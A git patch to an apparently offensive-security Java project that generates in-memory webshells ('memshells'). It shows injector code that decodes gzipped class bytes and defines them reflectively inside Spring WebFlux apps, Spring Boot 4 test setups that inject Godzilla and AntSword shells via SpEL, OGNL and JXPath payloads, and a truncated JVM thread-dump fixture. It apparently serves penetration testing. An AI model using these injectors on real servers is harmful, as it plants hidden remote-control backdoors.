From c641a925572900c6e89230a22b14dc9260649bd7 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 21 Aug 2026 16:05:48 +0800 Subject: [PATCH] fix: SpringBoot4 WebFlux Base64Utils not found --- .../workflows/memshell-integration-test.yml | 4 +- .github/workflows/probe-integration-test.yml | 4 +- .../SpringWebFluxHandlerFunctionInjector.java | 3 +- .../SpringWebFluxHandlerMethodInjector.java | 3 +- .../SpringWebFluxWebFilterInjector.java | 3 +- .../javaweb/probe/payload/ServerProbe.java | 3 +- .../javaweb/integration/ContainerTool.java | 2 + .../SpringBoot4WebFluxContainerTest.java | 53 +++ .../SpringBoot4ContainerTest.java | 91 ++++ .../SpringBoot4ExpressionContainerTest.java | 71 ++++ .../SpringBoot4WebFluxContainerTest.java | 34 ++ .../SpringBoot4ContainerTest.java | 36 ++ .../SpringBoot4ContainerTestBasicInfo.txt | 402 ++++++++++++++++++ ...ringBoot4WebFluxContainerTestBasicInfo.txt | 279 ++++++++++++ settings.gradle.kts | 2 + vul/vul-springboot4-webflux/Dockerfile | 8 + vul/vul-springboot4-webflux/build.gradle.kts | 15 + .../javaweb/vul/springboot4/ClassDefiner.java | 14 + .../VulSpringboot4Application.java | 13 + .../Base64ClassLoaderController.java | 35 ++ .../controller/IndexController.java | 123 ++++++ .../src/main/resources/application.properties | 1 + vul/vul-springboot4/Dockerfile | 8 + vul/vul-springboot4/build.gradle.kts | 28 ++ .../javaweb/vul/springboot4/ClassDefiner.java | 10 + .../VulSpringboot4Application.java | 12 + .../Base64ClassLoaderController.java | 24 ++ .../BigIntegerClassLoaderController.java | 24 ++ .../controller/IndexController.java | 123 ++++++ .../controller/JDBCController.java | 31 ++ .../controller/JXPathController.java | 20 + .../controller/OgnlController.java | 25 ++ .../controller/SpELController.java | 25 ++ .../src/main/resources/application.properties | 1 + .../src/test/java/CommandExec.java | 15 + .../src/test/java/JDBCTest.java | 54 +++ 36 files changed, 1589 insertions(+), 10 deletions(-) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java create mode 100644 integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt create mode 100644 vul/vul-springboot4-webflux/Dockerfile create mode 100644 vul/vul-springboot4-webflux/build.gradle.kts create mode 100644 vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java create mode 100644 vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java create mode 100644 vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java create mode 100644 vul/vul-springboot4-webflux/src/main/resources/application.properties create mode 100644 vul/vul-springboot4/Dockerfile create mode 100644 vul/vul-springboot4/build.gradle.kts create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java create mode 100644 vul/vul-springboot4/src/main/resources/application.properties create mode 100644 vul/vul-springboot4/src/test/java/CommandExec.java create mode 100644 vul/vul-springboot4/src/test/java/JDBCTest.java diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index 5f63ecdb..13e38330 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -44,9 +44,9 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war" - middleware: "springwebmvc" - depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar" - middleware: "springwebflux" - depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" + depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar" - middleware: "xxljob" depend_tasks: "" - middleware: "struts2" diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml index 2fdd6b59..8feb509a 100644 --- a/.github/workflows/probe-integration-test.yml +++ b/.github/workflows/probe-integration-test.yml @@ -41,7 +41,9 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war" - middleware: "springwebmvc" - depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar" + - middleware: "springwebflux" + depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar" - middleware: "struts2" depend_tasks: ":vul:vul-struts2:war" runs-on: ubuntu-22.04 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java index d5c0affb..d17e2139 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.springwebflux; -import org.springframework.util.Base64Utils; import org.springframework.web.reactive.function.server.*; import org.springframework.web.reactive.function.server.support.RouterFunctionMapping; @@ -63,7 +62,7 @@ public class SpringWebFluxHandlerFunctionInjector { try { interceptor = classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java index 94c2474d..0b813b79 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.springwebflux; -import org.springframework.util.Base64Utils; import org.springframework.web.method.HandlerMethod; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping; @@ -63,7 +62,7 @@ public class SpringWebFluxHandlerMethodInjector { try { interceptor = classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java index 6d4f8b69..c4752066 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.springwebflux; -import org.springframework.util.Base64Utils; import org.springframework.web.server.WebFilter; import org.springframework.web.server.handler.DefaultWebFilterChain; import org.springframework.web.server.handler.FilteringWebHandler; @@ -58,7 +57,7 @@ public class SpringWebFluxWebFilterInjector { try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java index f956d652..c3013c87 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java @@ -67,7 +67,8 @@ public class ServerProbe { || classNames.contains("com.caucho.server.http.ServletServer"))) { return ret = "Resin2"; } - if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) { + if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1") + || classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) { return ret = "SpringWebFlux"; } if (System.getProperty("AS_INSTALL") != null diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index cc61cfb4..8ff9864a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -28,6 +28,8 @@ public class ContainerTool { public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath()); public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath()); public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath()); + public static final MountableFile springBoot4JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4", "build", "libs", "vul-springboot4.jar").toAbsolutePath()); + public static final MountableFile springBoot4WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4-webflux", "build", "libs", "vul-springboot4-webflux.jar").toAbsolutePath()); public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java new file mode 100644 index 00000000..f606f15e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java @@ -0,0 +1,53 @@ +package com.reajason.javaweb.integration.memshell.springwebflux; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4WebFluxContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:17.0.17_10-jdk") + .jarFile(ContainerTool.springBoot4WebfluxJarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebFlux) + .targetJdkVersion(Opcodes.V17) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .jattachFile(null) + .supportedShellTypes(List.of( + ShellType.SPRING_WEBFLUX_WEB_FILTER, + ShellType.SPRING_WEBFLUX_HANDLER_METHOD, + ShellType.NETTY_HANDLER + )) + .testPackers(List.of(Packers.Base64)) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java new file mode 100644 index 00000000..081623e7 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java @@ -0,0 +1,91 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:17.0.17_10-jdk") + .jarFile(ContainerTool.springBoot4JarFile) + .jakarta(true) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.springbootPid) + .targetJdkVersion(Opcodes.V17) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .assertLogs(false) + .probeShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER + )) + .build(); + + private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder() + .imageName("springboot4") + .server(Server.Tomcat) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, +// ShellType.LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + static Stream tomcatCasesProvider() { + return generateTestCases(TOMCAT_CONFIG); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("tomcatCasesProvider") + void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { + runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer); + } + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java new file mode 100644 index 00000000..ada221e8 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +@Slf4j +public class SpringBoot4ExpressionContainerTest { + public static final String imageName = "springboot4"; + + @Container + public final static GenericContainer container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk") + .withCopyFileToContainer(springBoot4JarFile, "/app/app.jar") + .withCommand("java -jar /app/app.jar") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) + ); + } + + @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java new file mode 100644 index 00000000..19a3977a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.integration.probe.springwebflux; + +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4WebFluxContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springwebflux("eclipse-temurin:17.0.17_10-jdk", ContainerTool.springBoot4WebfluxJarFile) + .expectedJdkVersion("JDK|17.0.17|61") + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java new file mode 100644 index 00000000..30b7955e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java @@ -0,0 +1,36 @@ +package com.reajason.javaweb.integration.probe.springwebmvc; + +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springboot("eclipse-temurin:17.0.17_10-jdk", ContainerTool.springBoot4JarFile) + .expectedJdkVersion("JDK|17.0.17|61") + .targetJdkVersion(Opcodes.V17) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt new file mode 100644 index 00000000..f1b53b73 --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt @@ -0,0 +1,402 @@ +# Generated At 2026-08-21 07:13:49 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +catalina.useNaming: false +user.timezone: Etc/UTC +java.vm.specification.version: 17 +os.name: Linux +APPLICATION_NAME: vul-springboot4 +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.17+10 +user.name: root +path.separator: : +os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.17+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +catalina.home: /tmp/tomcat.8080.15263778573247402102 +java.version: 17.0.17 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +catalina.base: /tmp/tomcat.8080.15263778573247402102 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.17+10 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 +LOGGED_APPLICATION_NAME: [vul-springboot4] + +=========================================== + +ThreadStacks: +"http-nio-8080-exec-8" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@18a0fe9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"http-nio-8080-exec-1" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-2" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at 